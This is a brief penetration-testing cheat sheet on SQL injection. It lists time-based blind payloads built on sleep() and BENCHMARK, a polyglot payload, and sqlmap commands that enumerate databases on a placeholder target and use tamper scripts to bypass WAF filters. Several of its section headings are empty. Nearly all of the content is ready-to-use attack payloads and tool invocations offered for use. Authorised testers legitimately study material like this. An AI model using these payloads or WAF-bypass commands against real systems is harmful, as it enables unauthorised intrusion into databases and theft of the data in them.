Table of Contents

SQL Injection

Legacy code and APIs are most vulnerable. Blind/time-based is most common in the wild.

Detection

Time-based payloads work when error messages are disabled (most common case):

' or sleep(15) and 1=1#
' OR sleep(15)#
' union select sleep(15),null#
'%2Bbenchmark(3200,SHA1(1))%2B'
'+BENCHMARK(40000000,SHA1(1337))+'

Polyglot payload (jhaddix):

"SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Where to Test

Automation

# Parse Burp logs directly
sqlmap -l burp.log --tamper=space2comment --batch
 
# Target specific URL
sqlmap -u "https://target.com/page?id=1" --dbs
 
# Bypass WAF blacklists
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,charunicodeencode

Escalation